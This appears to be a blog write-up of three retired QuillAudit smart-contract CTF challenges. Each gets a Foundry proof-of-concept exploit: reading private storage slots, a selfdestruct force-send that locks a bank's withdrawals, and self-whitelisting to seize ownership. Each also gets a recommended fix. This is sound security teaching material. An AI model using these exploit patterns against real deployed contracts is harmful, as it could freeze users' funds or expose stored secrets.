help@cyb4rgeek.xyz

+1 (512) 588 6950

QuillAudit CTF challenges — Writeup

Home/QuillAudit CTF challenges — ...
QuillAudit CTF challenges — Writeup

Solutions of all retired challenges can be found here.

Challenge Description:

This contract checks whether the keccak256 hash of aliceHash and bobHash is same to inputted hash. The given task is to find the keccak256 hash of aliceHash and bobHash, which is to get true from checkthehash function. hash function can calculate the keccak256 hash from two inputted bytes32 variables.

Vulnerability Description:

Confidential contract is initialising the private keys and hashes as private varibles in contract itself which is the vulnerability here because these variables are placed in storage with slot numbers. Anyone can just count the slot in which the private key is located and call it. In this case the slots are 4(aliceHash) and 9(bobHash).

Attack steps:

1. Setup the contract and attacker
2. Load the hashes of alice and bob from the respective slots in storage using load function.
3. Calculate the keccak256 hash of aliceHash and bobHash now using hash function of the contract.
4. Verify the calculated hash using checkthehash function of the contract which will return true.

Proof of Concept:

I used Foundry to test the Exploit. In foundry load function can get the variables from the deployed contract’s storage. Below is the test contract I used.


// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.7;

import “@forge-std/Test.sol”;
import “../src/ConfidentialHash.sol”;

// @author: viking71
// Vulnerability: Confidential contract is initialising the private keys and hashes as private varibles in contract itself which is the vulnerability here because these variables are placed in
// storage with slot numbers. Anyone can just count the slot in which the private key is located and call it. In this case the slots are 4(aliceHash)
// and 9(bobHash). In foundry load function can get the varibles from the deployed contract’s storage.
contract ConfidentialTest is Test {

Confidential public confidential;
address public attacker;

function setUp() public {
attacker = vm.addr(1); // attacker
confidential = new Confidential(); // deploying the contract
}

function testExploit() public {
vm.startPrank(attacker);
// loading the “aliceHash” from the deployed contract’s storage from slot 4
bytes32 aliceHash = vm.load(address(confidential), bytes32(uint256(4)));
// loading the “bobHash” from the deployed contract’s storage from slot 9
bytes32 bobHash = vm.load(address(confidential), bytes32(uint256(9)));
// creating the keccak256 hash of aliceHash and bobHash
bytes32 hash_value = confidential.hash(aliceHash, bobHash);// verifying the hashes match
bool value = confidential.checkthehash(hash_value);
assert(value == true);
vm.stopPrank();
}

}

 

Recommendation:

Never store the private keys of any other sensitive content in contract because anyone access it from the storage.

Reference:

Challenge Description:

The Objective of this challenge was at any cost, lock the VIP user balance forever into the contract. This contract is written in way a only VIPs can deposit and withdrawn amount. The actors are manager (privileged role who can add VIPs) and VIPs (who can deposit and withdrawn amount). Then there is another function which shows the balance of the contract which can be accessed by anyone.

Vulnerability Description:

The first require statement in withdraw function is not checking the amount correctly. This is basically wrong implementation of logic. The statement should check for inputted amount should not exceed 0.5 ETH but instead it checks for contract balance not greater than 0.5 ETH. Due to this attacker can just create a contract, selfdestruct to send it’s balance to VIPBank contract, and increase it’s balance to fail that condition. Finally then no VIP can withdraw their balance because contract balance won’t be less then 0.5 ETH or equal.

Attack steps:

1. Attacker creates a new contract which will selfdestruct while calling the destroy function and send it’s balance to VIPBank contract.
2. The attacker deploying the Attack contract and sending ether to it.
3. Attacker calling the destroy function.
3. Alice tries to withdraw and transaction fails.

Proof of Concept:

I used Foundry to test the Exploit.

// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.7;

import “@forge-std/Test.sol”;
import “../src/VIPBank.sol”;

// @author: viking71

contract Attack {
address public vipbank;
constructor(address vb) {
vipbank = vb;
}

receive() external payable{}

function destroy() public {
selfdestruct(payable(vipbank));
}
}

contract VIPBankTest is Test {
VIP_Bank public vipBank;
address public manager;
address public attacker;
address public alice;

function setUp() public {
manager = vm.addr(1); // manager
attacker = vm.addr(2); // attacker
alice = vm.addr(3); // alice (VIP)
vm.deal(alice, 1 ether);
vm.deal(attacker, 1 ether);
vm.startPrank(manager);
vipBank = new VIP_Bank(); // manager deploys the contract
vipBank.addVIP(alice); // manager makes alice as VIP
vm.stopPrank();
}

function testExploit() public {
vm.startPrank(alice);
vipBank.deposit{value: 0.05 ether}(); // alice deposits 0.001 ETH into VIP Bank
vm.stopPrank();
vm.startPrank(attacker);
assertEq(0.05 ether, vipBank.contractBalance()); // current balance of contract is 0.05 ETH
Attack attack = new Attack(address(vipBank)); // deploying the Attack contract
payable(attack).transfer(1 ether); // transferring some ether to Attack contract
attack.destroy(); // destructing the contract to increase the VIPBank contract balance
vm.stopPrank();

assertEq(vipBank.contractBalance(), 1.05 ether); // contracts balance is more than 0.5 ETH
// alice tries to withdraw her 0.05 ether but transcation reverts back
vm.prank(alice);
vm.expectRevert();
vipBank.withdraw(0.05 ether);
}

}

 

Recommendation:

The first require statement should be changed like below in withdraw function

require(_amount <= maxETH, “Cannot withdraw more than 0.5 ETH per transaction”)`

This will help VIP users of bank to withdraw the amount they deposited.

Reference:

Challenge Description:

This contract basically changes the owner of the contract, but only those who are whitelisted can be changed. To be whitelisted, one can call that addToWhitelist function. Once someone becomes owner they can pwn the contract, but only EOA address can pwn because there is condition check for that.

Vulnerability Description:

Main vulnerability in contract is in addToWhitelist function because there is no proper check who can be whitelisted. The function only checks whether the caller is not contract. Due to this attacker easily add himself/herself to whitelist and change the owner.

Attack steps:

1. As an attacker call the addToWhitelist function and get added to whitelist to become owner. Make sure you call from a EOA.
2. Call the changeOwner function to become the owner.
3. Call the pwn function to change the bool (hacked) value to true.
4. Verify the owner and hacked variables whether is it changed.

Proof of Concept:

I used Foundry to test the Exploit. Below is the test contract I used.

// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.7;

import “@forge-std/Test.sol”;
import “../src/RoadClosed.sol”;

contract RoadClosedTest is Test {
RoadClosed public roadClosed;
address public deployer;
address public attacker;
function setUp() public {
deployer = vm.addr(1); // deployer
attacker = vm.addr(2); // attacker
vm.startPrank(deployer);
roadClosed = new RoadClosed();
vm.stopPrank();
}

function testExploit() public {
vm.startPrank(attacker);
roadClosed.addToWhitelist(attacker); // first adding ourself to the whitelist to become the owner
roadClosed.changeOwner(attacker); // change to owner as attacker
roadClosed.pwn(attacker); // then call the function pwn to set the hacked bool to true
bool hacked = roadClosed.isHacked(); //verifying hacked bool value is true
bool owner = roadClosed.isOwner(); // verifying the owner of contract is true
vm.stopPrank();
assert(owner == true); // required first objective, become the owner of the contract
assert(hacked == true); // required second objective, change the value of hacked to true
}
}

 

Recommendation:

Adding a require statement in addToWhitelist to check whether the caller is current owner of the contract, so that he can add addresses to whitelist.

require(owner == msg.sender, “Not current owner!”);

Will update this writeup once a challenge gets retired.

Leave a Reply